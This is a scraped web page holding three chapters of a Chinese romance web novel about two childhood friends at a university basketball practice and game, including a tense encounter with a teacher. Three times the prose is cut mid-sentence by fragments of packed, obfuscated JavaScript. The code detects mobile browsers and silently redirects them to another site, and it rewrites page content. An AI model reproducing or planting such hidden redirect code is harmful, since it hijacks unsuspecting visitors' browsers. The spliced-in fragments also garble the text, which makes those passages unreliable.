他训练她能陪他去已经很不错了! 怎么这么多要求,他不能自己带吗? 话到嘴边,又想起上一轮如此对话时,某人突然转过头的生闷气模样和那句“没良心”以及那颗圆润的后脑勺。 “行吧。” 虞千绾没再同他斗嘴,将手上的包包塞到商恪景怀里,转身去屋内找洗过但没使用过的新毛巾。 商恪景顺手就给包的拉链拉上,然后将双肩包套入两臂,就这么把被零食塞得鼓鼓囊囊的包背在身前,表面装淡定,内心狂喜地盯着屋门的位置期待着虞千绾拿着毛巾出来。 但虞千绾真出来的那刻,商恪景神情有一瞬的僵住。 那是条白粉色的渐变毛巾,但大多是由浅粉到正粉的渐变,看起来嫩呼呼的,很明显属于女生的东西。 随着虞千绾走近,商恪景将那条毛巾看得更为清晰。 不仅粉色占比极重,上头还有很多小细节,比如一颗可爱的小草莓,比如一些精细的绣花,总归更不像男生会用的了。 虞千绾也挺舍不得的,这条毛巾还是她之前出去旅游时候瞧见买的呢,一直没舍得用,但是家里就剩这一条了。 她出来瞧见商恪景的神情,忽然醒悟:“你把你的毛巾拿来不就行了吗?” 她只是需要在他打完球以后给他毛巾,又不是她的毛巾。 “干嘛?还没送就舍不得了?” 商恪景一秒把毛巾从她手里拽过,塞入身前包包的最前面的空间里,与零食分开放置。 虞千绾双手抱胸,忿忿瞧他,“早知道买个大红色的了,到时候看你用不用。” 两个人的斗嘴总是开启的突然,也结束的突然,他们压根不往心里去,但凡有个别的事情转移注意力,他们就去关注旁的事了。 - 饭后。 虞千绾给徐盼雁发了条自己出发的消息,然后和商恪景一起出发。 包里大多东西虽然都是虞千绾的,但依旧是商恪景背。 对这点,两人都没什么疑问,很顺手的动作,她递他拿,打小就这样。 还记得高中学业最重的时候,书包沉得要命。 商恪景还是会背两个书包,前面一个,后面一个。时而虞千绾良心发现,可能会自己背一会儿,但商恪景的手得帮她托着些书包。 对此,商恪景毫无怨言,只会觉得老师布置的作业太多。 因为从有记忆开始,爸妈就教育他当个男子汉,教育他要多帮助别人,尤其是自幼相处的好朋友虞千绾,他早将照顾虞千绾这事认作当然。 即便没有爱。 - 这还是虞千绾第一次来校内的篮球场,其中人声昂扬,略显嘈杂。 往日,她虽也陪商恪景出来打过篮球,但都是和家族圈里的那些朋友,那么一行人凑在一起就不可能挑选这种地点,去的都是设施完善的室内球场。 一直注意着门口的魏明轩发现他们,赶忙招呼队内的队员们。 徐盼雁笑呵呵小跑上去挽住虞千绾胳膊,“千绾,你来啦。” 虞千绾眉梢轻扬,“我带了很多零食。” “好耶!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16367369|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 魏明轩也带着队员们走了过来,先和商恪景虞千绾打了个招呼后就开始在商恪景和队员们之间互相介绍,毕竟后面要一起打不少比赛,融入团队还是比较重要的。 其间有好几张商恪景眼熟的脸,都是之前在球场遇到过的,但名字有些对不上,不过有之前的碰面,今天又在一个篮球队,关系便显得更加亲密。 一行人很快就熟稔起来。 两个女生在旁边没有加入他们的念头,反倒是魏明轩觉得是不是有些冷落了她们,主动又将话题往新来的虞千绾头上引了引,“这位是虞千绾,跟商恪景、雁雁都是一个专业的,跟雁雁还是室友呢。” 虞千绾身形高挑,容貌出众。 早在一进来球场这个男人窝的时候就吸引了不少人的目光,篮球队里也有好几人眼睛一亮,当下有魏明轩做中间人先开了口,他们也略显殷勤地挨个介绍自己。 虞千绾全程礼貌噙笑颔首,再没多余的什么话。 终于,有一人抵了抵商恪景的肩膀问出了对商恪景虞千绾不熟的人都挺好奇的问题,“你们俩……” 只有三个字,但那八卦的眼神意思很明显——“你们俩是一对吗?” “发小。” 商恪景这么回答。 俊男靓女的组合从初中有人早恋开始就有人频频误会他们的关系,经历过太多次的虞千绾附和着点了点头,补充解释:“家里长辈认识,我们也就从小认识了,是关系很好的朋友。” “哦~” 好几个人异口同声这么应。 但商恪景身上还背着个粉蓝相间的包,明显是女孩子的。 虞千绾还陪着商恪景过来打球,这给人的感觉就不像是普通的朋友。 何况,在见到商恪景之前,他们就从徐盼雁和魏明轩那偶然听到说,魏明轩本来都要放弃了的,结果是徐盼雁联系的虞千绾,虞千绾问了商恪景,商恪景这才同意加入。 听起来就让人觉得亲昵的关系。 是一种,当事人联系不上第一反应就是联系另个的关系。 多么紧密。 “好了好了。” 一心扑在篮球上的魏明轩并没觉察到某些人的小心思,拍了拍手大声鼓掌吸引大家的注意力,“自我介绍结束,下面咱们就专心训练吧,为了后续的篮球赛加油,正好趁着机会赶快和恪景磨合磨合。” 26. 第 26 章 “砰——” 有条不紊训练着的球队突然躁乱起来,一声很明显谁摔着的动静瞬时吸引了虞千绾和徐盼雁的目光,正在聊天的她们话声一停。 只见球场上的那群男生乱糟糟地聚在一起。 说话的人太多,所有声线堆叠在一起,她们压根听不清具体话,但心里同时漏了一拍,来不及多加思索地起身往喧闹中心奔去。 就在徐盼雁抓住男朋友询问情况的时候,虞千绾也抓住了商恪景衣摆,秀眉微蹙着切切问道:“你没事吧?” 问着,她的视线还朝商恪景的后背查看着打量。 商恪景摇头,“没事。” 闻言,虞千绾这才敢探手隔着薄薄的衣料在商恪景后背稍用些力摸了摸。 见商恪景确实神色如常没有疼的样子,她才松了口气。 事件主人公是球队的中锋裴俊哲,他打球时一个不小心摔了个屁股墩儿,并不严重,就摔下去的那一瞬间震了下,但有魏明轩这个前车之鉴,大家都变得有些草木皆兵,生怕裴俊哲也受伤,分外紧张查看他的情况。 裴俊哲这个当事人最清楚自己的情况,别说受伤了,他身上连个擦伤都没有,他就是不知道怎么突然脚滑了一下,但这么大个人了还摔屁股墩儿,他自觉丢人有些臊得慌,面上又不好意思主动提,只想赶紧以一种揶揄的姿态快速带过。 “单身狗真惨啊,明明摔着的人是我,怎么被女生关照的却是你俩啊。” 商恪景和魏明轩成了裴俊哲转移话题的对象。 其余人的视线也自然而然因为这话被吸引,看向了商恪景和魏明轩。 魏明轩大大方方笑着揽住徐盼雁肩膀,“我女朋友担心我怎么了?你嫉妒自己也去找啊。” “哎呦喂。” 霎时,起哄声皱起,一阵一阵来自单身狗的酸溜声此起彼伏。 并不是情侣的虞千绾和商恪景在这氛围中对视都变得微妙起来,虞千绾松开拽着商恪景衣摆的手,商恪景也别开了视线,长指抓住衣领晃荡了几下灌入了些冷风。 因为裴俊哲摔跤这么个插曲,作为队长的魏明轩主持大局,决定休息会儿再继续。 为了欢迎商恪景,魏明轩今天动用自己的小金库给球队的大家都买了杯奶茶。 不明商恪景喜好,所以魏明轩几乎各个品类都买了杯,让他先挑,商恪景也没客气,挑了个与虞千绾差不多的草莓味奶茶。 魏明轩热忱笑着说:“原来你喜欢这种口味,我记住了。” 说实话,在来之前,商恪景都对篮球队没太多的共情感,毕竟他们的团魂与他无关。 他只能说答应了肯定会使尽全身力气去打,至于输赢他就不可控制了。 但就这么一晚上的功夫,商恪景心态莫名产生了不小的变化,尤其是魏明轩这话说出。 商恪景看着魏明轩手里拿着的那杯柠檬茶,主动和他碰了碰杯,“我也记住了。” 两人相视而笑,关系无形中拉近许多。 - “哦好,我知道了,我回去看看,有什么明天再跟你沟通。” “嗯嗯。” 虞千绾接到了通工作上的电话,她便拿着手机去到安静的角落与对方交涉。 电话刚挂断,身后就传来熟悉的男声:“怎么了?有什么急事要处理吗?” 虞千绾扭头就瞧见背靠在围网上的商恪景,他单腿曲着,左脚往后踩在围网底端,手上拿着奶茶,但显然没在喝,就随意把吸管咬在牙齿右侧。 “也不算什么急事,就是前段时间我不是去拍了容博延的视频和照片嘛。依着双方的合同,这种宣传视频都得双方同时过了才能放出去,说白了就是容博延那边怕丑照流出嘛。今天容博延工作室看完我的那些视频,把觉得不够好看的标了出来,跟我对接的刘秘书刚刚就跟我说这事的。” 虞千绾没太所谓地耸了耸肩,“应该不会影响到我做的视频,我本来用的他片段就少,挑得还都是很帅的几帧,主要回去以后把他工作室说的那些片段删掉防止以后误用就行。” 见她不急着回去忙什么,商恪景点了点头,偏过奶茶吸了口才又开口,“无聊吗?” “不无聊啊。” 虞千绾登时眉飞色舞,“盼雁跟我说了超级多八卦!等回去了我再慢慢跟你讲。” “有一件八卦,我很好奇。” “什么?” “半小时前来找你要微信那个。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16376986|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虞千绾顿时白他一眼,也靠在了围网上,倦倦打了个哈欠,“你闭嘴啊,这个八卦特别没意思。” “是吗?我觉得这个很有意思。” 商恪景偏过头。 感觉到他的不怀好意,虞千绾直接伸手把他脸推过去。 但没辙,商恪景很快又转回来。 她再推过去。 他又转回来。 以此几次,虞千绾要受不了的时候商恪景忽问:“加他微信了吗?” 很奇怪的感觉,是八卦的话,但语调和眼神完全不是。 虞千绾一时间没琢磨透其中的复杂,老实回答:“当然没啊,我每次不都不给吗,你不知道?非得问我调侃几句?” 在偶像剧或小说里,虞千绾很吃一见钟情这套,但现实里,她半点都不感冒,甚至觉得对方肤浅,什么内在都不了解,就靠着皮囊说喜欢甚至于爱,很虚无很假。所以这么多年来,虞千绾被不认识的人要微信时都是拒绝的。 商恪景也不是不知道她的脾性,但却还问,觉察不到其他情绪的虞千绾暂且将他的明知故问定义为调侃。 “哦。” 商恪景故作轻飘飘地说:“我远远看他身形和气质跟那谁有点像,还以为你会玩点替身文学呢。” “谁?” 话出口的瞬间,虞千绾反应过来,无语至极地撇了撇嘴,“你说常桦啊?要真像他我怕是更不会同意。我现在极其讨厌这类男性,PTSD了。” “光讨厌那一类有什么用?世界上没有一模一样的树叶,也没有一模一样的人,你就跟我一样,做好单身一辈子的打算得了,找什么对象啊。” 因为喜欢她这事没法说出口,又不想听她瞎把他和旁人牵线,商恪景就给自己立了个单身一辈子的人设。 虞千绾才不信,“你这是因为现在没有喜欢的人才这么说,你要是有喜欢的人,一秒就给这话抛到脑后了,到最后我肯定也被一起抛掉。” “虞千绾。” 晦暗中,商恪景颇为肃声唤她全名,“咱俩要不要打个赌?” “咱俩的友情,我绝对不可能是先因为爱情远离的那个。” “只要你没有交往对象,我就不可能有。” 27. 第 27 章 虞千绾的新账号vlog,商恪景的篮球赛。 他们的生活就这么按部就班进行着,时而穿插几节课程,再忙忙论文,与朋友、家人聚聚餐。 时间很快来到篮球赛这天。 这次京市高校篮球赛共有32所高校参加,比赛对手和场地都是靠着抽签决定。 带着球队打比赛的老师姓曹,对外流程这些都是他负责的。曹老师手气很好,不仅抽到了自家场地,还为篮球队抽到了个很安心的对手——京市科技大学。 这所大学近几年就没进过前八强,和年年稳居前三甲的京大篮球队压根没什么可比性,他们的教练在看到对手以后就仰头长叹,头顶阴云密布,内心疯狂飙泪。 人类的悲喜并不相同。 京大篮球队的大家在群里看到曹老师发的消息后全都笑开了花,在熟悉的地点打比赛本就心安不易紧张,对手又是京市科技大学,基本稳赢,比赛还没开始就可以确定进入16强了。 曹老师和魏明轩心里也都这么想,暗暗窃喜没那么倒霉在第一轮就遇到强劲的对手。但作为教练和队长,生怕队员们大意松懈最后落得第一轮就被淘汰的结果,还是三令五申地让他们保持警惕,不许小瞧对手,为此甚至还虚构拔高了些科大的能力,说他们学校今年新招入篮球队的好几个新生球技都很厉害。 32个高校派出的球队将会通过32进16,16进8,8进4,4进2,1对1这五轮比赛角逐出最后的冠军。 考虑到参加篮球赛的学生大多处于课程较重的大一大二阶段,并且学生的主业还是学习,所以比赛的战线拉得比较长,安排在每周的周六进行,如此每周只需要抽出一天即可,不会过多耽搁学习的时间,也不会让参加球赛的这批学生因为连轴转打球太累影响到学习的状态。 虞千绾对这些都没太多感觉,随便怎么安排。 但是得知比赛时间是早上九点时,她哀嚎了许久。 九点只是球赛正式开始的时间,在此之前,她自身肯定得洗漱好穿戴整齐,还有路程时间,商恪景还得提前到达做一系列的赛前准备。 算上这些时间后,也就是说,虞千绾最迟七点钟必须起床,而且日后若是去别的学校打比赛,路程更远,起得还得更早。 许久没这么早起来过的虞千绾很不适应,为了能多睡会儿,她把化妆这一步都省了,简单洗漱后直接戴了个帽子就素面朝天跟着商恪景下楼乘车去往学校了。 她的衣服也穿得很简单,一身以舒适性为主的黑色系上下装,因为没睡好觉精神不济且戾气很大,整体给人的感觉多了些生人勿进的疏离感。 “好了好了。” 到达校门口,从车上下来的时候,商恪景将手放在她帽顶上轻轻揉了揉,就像是在安抚一只炸毛的小猫,“当做早起补偿,这一个月的生活花销我都包了行不行?还有你上次逛商场说喜欢但没买的那双高跟鞋,我马上也让人去买回来。” 虞千绾凌晨那会儿灵感突发,剪视频剪到凌晨三点,现在是真困真没劲,萎靡不振到她都懒得抬手去打掉商恪景的手任由他将手放在自己脑袋上。 没睡好的声音带着些鼻音,闷闷的,“才不要你的补偿,这是我之前答应好你的,我就是感觉脑袋涨涨的,眼皮酸酸的,有些没精神,可不是和你挂脸你别多想啊,估计缓一会儿解了困劲就好了。” 生怕在他比赛前影响到他情绪,虞千绾努力睁大困倦的眼睛直勾勾看他,双手握拳朝他挥了挥,尽可能让自己的情绪看起来高涨些,“别看我现在困得蔫吧,等你比赛的时候,我肯定是台下给你加油呐喊声最大的那个!” 商恪景一贯恣意不羁的神情这一刻却很是内收,瞳孔轻颤了下似被什么触动到,手指忽在虞千绾帽子前端用力一压。 猛然被压下的帽檐挡住了虞千绾的视线,她当即叫了声“啊!商恪景你不许弄我帽子。” 她的头发都被帽子压塌了,他要是突然把她帽子拿开露出下面贴头皮的头发会很丑! 虞千绾紧急扶稳自己的帽子,一手捂着帽顶,一手捋着下面的头发,眼睛持续警惕地凝着商恪景。却不知自己视线受阻的那几秒钟,身前人垂视着她的眼神多么的缱绻,多么的情愫暗涌。 她不知道,什么都没有觉察到,光顾着掏出手机照着自己检查头发。 只闻他在别开视线的那秒说:“行,我也一定在所有声音里准确找到你的。” 因为这个小插曲,虞千绾的困劲散了些。 比赛在京大的一号室内球场举行,离京大正门很近,就几分钟的脚程,所以两人没骑车,选择走过去,正好让虞千绾醒醒神。 早晚的风格外凉,虞千绾将外套拢得紧,下巴都缩进去,下倾的帽檐挡住她上半张脸,只露出鼻尖和嘴唇。 进到篮球馆,商恪景这才将背在自己身上但属于她的包递给她,“徐盼雁来了吗?你一个人行不行?” 他作为参赛队员,还得去按照流程签到,要去更衣室换衣服,还得同球队的大家待在一起沟通最后事宜直到上场,没法一直陪在虞千绾身边。 “行的。盼雁已经到了,几分钟前就给我发了大概位置,但这里实在太大了,我可能得找一找。” 这个点的篮球场还没来太多人,但京大的一号室内篮球场很大,京市时而举办正规体育赛事都会租借这里的场地,所以刚到这里的虞千绾很难仅站在入口就看清观赛席的每个人,坐在位置上的徐盼雁也很难发现她,还得往里边走边寻觅一番才行。 因为身高差距,商恪景的视线自上而下,棒球帽伸出的前端挡住了些他的视线,使得他只能看到虞千绾的下半张脸。 正在四处寻找徐盼雁的虞千绾没发现目标,无意识鼓了鼓腮帮。 商恪景视线忽顿。 就像是看到了香甜软糯的雪媚娘,圆润雪白。 让人很想……咬一口。 “你不用管我,去忙你的就行,我再往里面走走肯定能找到盼雁,还有手机沟通呢,放心吧丢不了。你加油打比赛,我不仅会给你加油,还会给你抓拍帅照!” 在门口站着找人的难度太大,视线扫了几圈都找不到徐盼雁的虞千绾选择放弃,仰头冲着商恪景笑了笑打算同他分开朝里去。 冷不丁对上她的笑眼,商恪景见不得光的念头就像是被炽热的光刺到,他立即错开了视线,眼睫快速眨动了几下,声音都不自觉加快,“——好,你坐下给我发个大概位置,不然比赛后人太多,我可能会找不到你。” “okok。” 两人就此分开去往两个不同的方向。 但虞千绾依着徐盼雁的消息寻到了她所说的位置,却依旧没有发现徐盼雁,还当是自己找错了,虞千绾又四处寻找了一会儿,可还是没有发现徐盼雁的人影。 她不太想动了,索性就窝在了角落里,给徐盼雁发去消息:【雁雁你人呢?我到了,但是没在你说的地方看到你呀?是我找错了吗?】 徐盼雁秒回:【啊啊啊啊啊救命,宝你等等我,我肚子不舒服,现在正在卫生间,很快就好!】 【你把你的位置大概描述给我,我好了就去找你!】 【好呢没事~不急,时间还早(亲亲.emoji)】 虞千绾看了眼四周,将身侧贴着的比较显眼的标识告知给徐盼雁,徐盼雁因为男朋友的的比赛来过很多次室内球场,对此很熟,一下就知道了虞千绾的位置。 聊天结束后,虞千绾切了软件,站在原地边玩手机边等待徐盼雁来找她。 堪堪半分钟,她突然听到一阵由远及近的脚步声,那脚步声很沉很急促,光是听着就让她清晰感觉主人极其着急的情绪。 声音越来越近,就好像要撞到了她。 下意识地,虞千绾掀眸往脚步声的来源看去。 还不待她完全将头抬起看到那人,面前就猝然袭来一股劲风,手腕跟着就突然被人扼住,狠狠拽起,连带着她的身形都朝前跌了半步。 很重的力度,仿佛想将她的骨头都捏碎,虞千绾手腕一瞬间被攥得生疼。 但在这个互联网发达且经常看到落单女性受害新闻的时代,虞千绾先感知到的不是疼,而是恐惧,难以形容的寒意自脚底迅速朝上攀升几乎将她整个人都冷冻住。 猛然袭来的天然强于女性的男性力量让虞千绾心悸不已,手上拿着的手机也在瞬间落了地,砸出清脆的一声响。 幸而正值白天,天光很亮,球场里也有人有监控,并非漆黑无人的小巷。 甚至观赛席上已有几人的视线因为手机掉地的声响扭头看过来,但因不明情况还在观察,虞千绾短暂发木丧失思考能力的脑袋回笼了些理智,谅面前的陌生男人应该不敢在这样的场合下胡来。 虞千绾瞳孔已然因为惊惶骤缩,却不得不忍着恐惧强装镇定地扬声呵斥:“你是谁?再乱来我就喊人了。” 同时迅速朝后使劲挣开了被男人桎梏着的手。 她生怕展露出恐惧会让男人愈发得寸进尺,饶是手都在颤抖,面上仍竭力绷着不敢表露,装出肃凶的模样。 “抱、抱歉……我刚刚没看清,认错人了。” 男人也在虞千绾抬起头看到她完整面容的那刻松了手上的劲,刚还充斥在眼里的万般复杂情绪甚至激动到仿佛眼球都要爆开的眼睛却在霎时间落寞死寂灰沉下来,他动了动唇一时间没发出声,又酝酿了须臾后朝着虞千绾鞠了一躬,“实在抱歉……对不起。” 饶是如此,刚经历过突然被陌生人抓住手的虞千绾还是心有余悸,她朝后退了几步,连掉落在地的手机都顾不得拿,“你、你快走吧!” 话落,又觉得自己这样显得太好说话,虞千绾又冷脸粗着声线加了句,“都在一个学校里,我已经记住你的长相了,下次要是再被我知道你这么对别人,我就直接报警了。” “抱歉,真的抱歉,您这边如果需要什么补偿的话都可以提。” 男人蹲下身去帮虞千绾捡起了手机,许是见虞千绾害怕他,他只是将手机上沾染的灰尘擦了擦,然后默默放在了一旁。 虞千绾脑子其实是完全宕机的,此刻的她不过是强装罢了,思考能力并没太多,冷不丁被问及补偿方案压根想不出什么,她现在只有一个念头,那就是让他赶快远离自己,于是她匆匆说:“不需要,你以后别再犯就行。” 男人点了点头,临走前又朝着虞千绾深深鞠了一躬表达歉意,虞千绾依旧警惕地盯着他背影,呼救声持续憋在嗓间,防止他突然打个回马枪。 恰巧,就在男人离开的那个出口,从卫生间回来的徐盼雁和他擦肩而过进来。 看到熟人,虞千绾提着的那口气彻底松下,但又怕那个男人转换目标抓住徐盼雁,着急忙慌冲着徐盼雁直招手,让她快些到自己身边来。 徐盼雁不明所以,但看虞千绾好像很紧张的样子,小跑着朝她靠近,“怎么了?” “刚刚从你身边走过去的那个男人,他就在我跟你聊天结束没一会儿的时候突然过来很凶很用力地抓住我的手,我挣开以后他说自己只是认错了人,但他那样子哪里是和朋友打招呼的样子,我怀疑他就是个故意占女生便宜的变态猥琐男。” 虞千绾揉了揉自己的右手手腕,上面还残留着一圈清晰的红痕没散,足可见男人那一下劲使得多大。 “啊???刚刚那个男人?!” 徐盼雁似乎很讶异,还回头看了看男人离开的方向,语调里掺杂着浓浓的不敢想象,“我的天呐,他居然是这种人……” 虞千绾被她这个态度弄得懵然,“啊……难不成你认识他?” “你也认识啊,只不过你就看过他的照片没见过他真人,可能乍然看到真人没和照片对上。” 听徐盼雁这么说,虞千绾更懵了,她脑子里完全检索不到相同的脸。 “就是这学期第一次上课的那天,咱们宿舍四个坐在一起讨论的那个——学校新来的物理系老师周既明。开学那阵他常待在表白墙上,大家都说帅的那个,你当时看了照片也说他帅来着,还说他和商恪景不是一个类型的帅哥,想起来了吗?” 听到“物理系老师”五个字时,虞千绾就想了起来,应该说她一直都记得这号人物,但确实如徐盼雁所说,她看到真人的时候并没意识到眼前人就是之前看过照片的周老师。 而且虞千绾并不是很爱看学校表白墙,只会在很无聊刷朋友圈的时候才会偶然扫几眼,所以除去第一节课时从室友递来的手机上看到过周既明的照片后至今,她其实是没再看过周既明的照片的,一眼都没有,只会时不时的从同学口中听说一些有关他的事。 当初的寥寥几眼到现在已然过去了约莫一个半月的时间,虞千绾早就忘了周既明长什么样,但她还记得彼时看照片时周既明给她的感觉——气质温雅斯文,实则内心却不是个很温的人,有些淡淡的疏离感。 不过整体还是让人觉得很有教养很懂礼貌的,与刚刚做出那种蛮横举动的男人简直毫无相似处,全然不像是一个人。 如若不是徐盼雁提及,虞千绾完全不会想到今天见到的人和在众人口中听到的那位物理系老师居然是同一人。 刚刚那人分明看起来偏执又阴郁…… 但慌乱感散去些后,虞千绾回想,他的外表给人的感觉确实还是偏斯文学识那挂的。 只不过历经这么一遭,虞千绾只觉得这位周老师的温柔都是伪装和假象,湿冷无礼才是他的本性。 她突然联想到小说里很常见的一类男性角色——病娇。 脑海里挥之不去抬起眼的那刻对上的周既明那双要杀死人的眼神,虞千绾鸡皮疙瘩都要起来,双手交叉在身前搓了搓两边的胳膊。 果然是小说看着很带感,现实遇到却要跑得远远的那种类型。 徐盼雁低下头轻轻抓过虞千绾的小臂看着她手腕上鲜明的五根手指印,表情不禁有些忿忿,“我刚看到他的时候心里头一喜,还想趁他没走远让你看看真人呢,结果他居然干这种事,真是人不可貌相,我以后再也不说他帅了。” “不过,他说他认错人,会不会是把你认成他某个仇人了,而不是朋友?” 徐盼雁这话登时给虞千绾提供了不一样的思路。 对哦,她听到周既明说认错人的时候,第一反应想的是他试图用把她误当做一起来看球赛的朋友做借口,倒是忘记了还有仇人…… “很可能是,估计还是对方欠了他很多钱的那种。” 理智回笼,虞千绾想了想刚刚发生的一幕幕,非常赞同地点了点头,“我其实刚刚也觉得有些奇怪,我想就算是小偷也不能这么光明正大的偷东西吧,他怎么敢在这种地方就公然拉住我。” “我本来还以为他是学校里的研究生博士生学长呢,结果他是老师,那程度就更严重了,这要是被学生举报上去,他可能连工作都得丢。” 徐盼雁倒听得心慌,“也不能确定!我就是这么猜测,你千万别因为我的话掉以轻心了,总之这段时间还是多注意吧,回头跟商恪景说一声,让他尽量干啥都陪着你,你别一个人出门了,突然这么一下挺吓人的。” “嗯,放心我知道,他要是再敢出现我就直接轰去校长办公室实名举报。” “希望不要出现那一天,真到那一步记得给我发消息,我陪你!咱绝对不纵容他这种恶劣行为。” 徐盼雁朝着虞千绾伸出手,虞千绾在她掌心轻拍,“一定!” 两人对视而笑,徐盼雁手指顺势挤入虞千绾指缝里牢牢牵住她晃了晃,虞千绾笑容更甚,心里的慌乱也被驱散许多。 - 徐盼雁来得早,提前帮她和虞千绾一起占好了座,是在第一排中间的最佳观赏位。 两人携手一块落了座。 随着时间,球场观众席开始上人。 其中还有些京市科技大学的学生和老师专程过来给京科大的篮球队加油。 虞千绾瞧见他们有些人的手里居然还拿着横幅,登时和徐盼雁低语:“完蛋,咱们好像准备少了,他们怎么架势那么大?还有横幅。” “那应该是球队没上场的人故意整活的,咱们校篮球队之前也有,今年不知道有没有。不过都不重要啦,主要还是比赛结果,赢了以后时间多着呢,私下想怎么庆祝都行。” “商恪景最近特别能找事,而且这还是他上大学以来第一次参加篮球赛,要是看到别人那有咱们这边却没有,他回去又要念叨我了。” “他还敢念叨你?要我说,咱们俩这个点能坐在这就够给他们面子了,魏明轩要是敢说我我一巴掌给他抽飞。” 徐盼雁说得生动传神,手还真在空中狠狠扇了一巴掌,仿佛真在抽打魏明轩。 虞千绾瞬间被逗笑,身形不禁前仰后合,“你俩是男女朋友,我跟商恪景哪行啊,还是不一样的。” 徐盼雁刚欲说什么,注意力忽被身后传来的声音吸引去。 ——“你快来,你男神真在!刚刚有人看到他了。” ——“绝对保真的消息,你别睡懒觉了,以最快速度换上你最漂亮的裙子,化上美美的妆!” ——“这里来了不少女生,你快点,最好再带个水啊礼物啊什么的送他增强些他对你的记忆。” 身后的女生应该在跟谁打电话,怕吵到周围人,她声音虽然压得低,但语调难抑激昂。 而且两排间距离很近,但凡注意听些,话语轻易就被收入耳中。 徐盼雁眼睛一亮,当即张口想说什么,但又怕被身后女生听到,于是倾身凑到虞千绾耳边很小声很小声地跟她分享道:“你知道吗,今天这场篮球赛来的女生可比往届多多了,我从没见过这么热闹的球场。” 虽然篮球场整体看起来还是挺空旷的有很多空位,但毕竟球场这么大的面积,而且只是校与校之间的比赛,来到现场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16387701|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的基本都是学生,不似公开售票的大型赛事受众广,能有这种上座率已是不易。 “是嘛,为什么?这届篮球赛有什么特殊的吗?” 虞千绾完全不知道,她之前从没看过一次正式的篮球赛,甚至都大四了,这个室内球场她还是第一次来。 “当然是因为你那竹马咯。” 徐盼雁抵了抵虞千绾的肩膀,直冲她眨眼,“虽然咱们学校没搞过什么正儿八经的校花校草评选,但见过商恪景且有眼睛的人都知道他帅吧。前些天有人看到他跟篮球队在一起训练,就匿名发到表白墙上问他是不是要参加比赛,然后就一传十十传百的,很多人都说要来看。” “真的假的,这么夸张?” 虞千绾有些惊笑了,她虽然很清楚以商恪景的皮囊会有很多人对他见色起意,也见过很多人给他塞情书表白,但没想到会引起这么大的轰动。 徐盼雁:“哎呀,这些来看他的人里面肯定也没多少是真对他很喜欢的那种,但是帅哥打球诶,看看饱饱眼福又没什么,不看白不看。” “而且来现场当志愿者、观众什么的能加学分,既加学分又能看帅哥一举两得,可是加学分这规则早就存在了,又不是这届篮球赛才有,但却是第一次来这么多人,所以我觉得归其原因还是商恪景在这打球给了不少人过来的动力。” 学分对大学生来说本来就很有吸引力,再有个帅哥,二者的重要性不分伯仲。 这么说起来就合理多了,否则好似所有人都是奔着商恪景来一般未免太过浮夸。虞千绾笑着点了点头,不禁思考自己带来的毛巾和水该不会用不上吧?万一有人在她前面去给商恪景送水和毛巾的话。 说曹操曹操到。 曹老师带着篮球队队员从休息室出来,商恪景一米八八的个头在其中很是惹眼,换了身篮球服后若隐若现暴露出的精瘦薄肌身材更是让人移不开眼。 几乎在他出来的那刻,原本较为安静的观赛席突然就小幅度哄闹起来,不少人都悄悄举起了手机对准他。 并不知情的当事人也拿起了手机,手指在手机上点了几下,也不知看了什么,而后忽然抬起头寻找起来。 见商恪景抬头,刚还偷拍他的人一秒忙碌了起来,有的迅速放下手机面颊红温匆忙看向别处,有的则是怕此地无银三百两佯装出格外自然的模样将摄像头一点一点移开,实则嘴里一个劲咕哝“完蛋了完蛋了不会被他发现了吧,好尴尬好社死。” 从微信上看到虞千绾发来的位置,商恪景视线很快就锁定到她身上。 四目相对的那秒,他没太多表情的脸忽而笑得恣意,隔空朝她抬了抬下颚示意。 虞千绾回笑着朝他点了点头。 坐在其余位置的女生或许没发现什么,但坐在虞千绾周围的女生迅速意识到商恪景和她关系不寻常,与朋友的对话声都小了许多,生怕传到虞千绾耳朵里。 距离比赛开始还有一会儿的时间,篮球队的大家待在一起也就是聊天放松而已。 在哪待不是待,当然还是待在虞千绾身边比较好,商恪景跟魏明轩打了个招呼就在众多道视线中径直朝着虞千绾小跑而来。 一身篮球服,一张极具冲击性的浓颜笑面,小跑时被风带起的额发,几乎严丝合缝贴在身前印出腹肌的薄薄衣料,每一帧都浸着浓浓的青春男大气息,给到每一个看向他的人非常强烈的视觉冲击。 大抵是因为虞千绾和徐盼雁坐得近,商恪景刚刚远远做出的小动作,旁人并不能清晰辨别出他到底是在和虞千绾打招呼还是徐盼雁,所以此刻有许多道无形的目光在虞千绾和徐盼雁身上来回梭巡。 第一次感受到处在话题中央滋味的徐盼雁不自觉坐直了些身子,唇角很难不上翘,“救命,突然好激动是怎么回事?怎么有种偶像剧照进现实的感觉?好爽啊。” 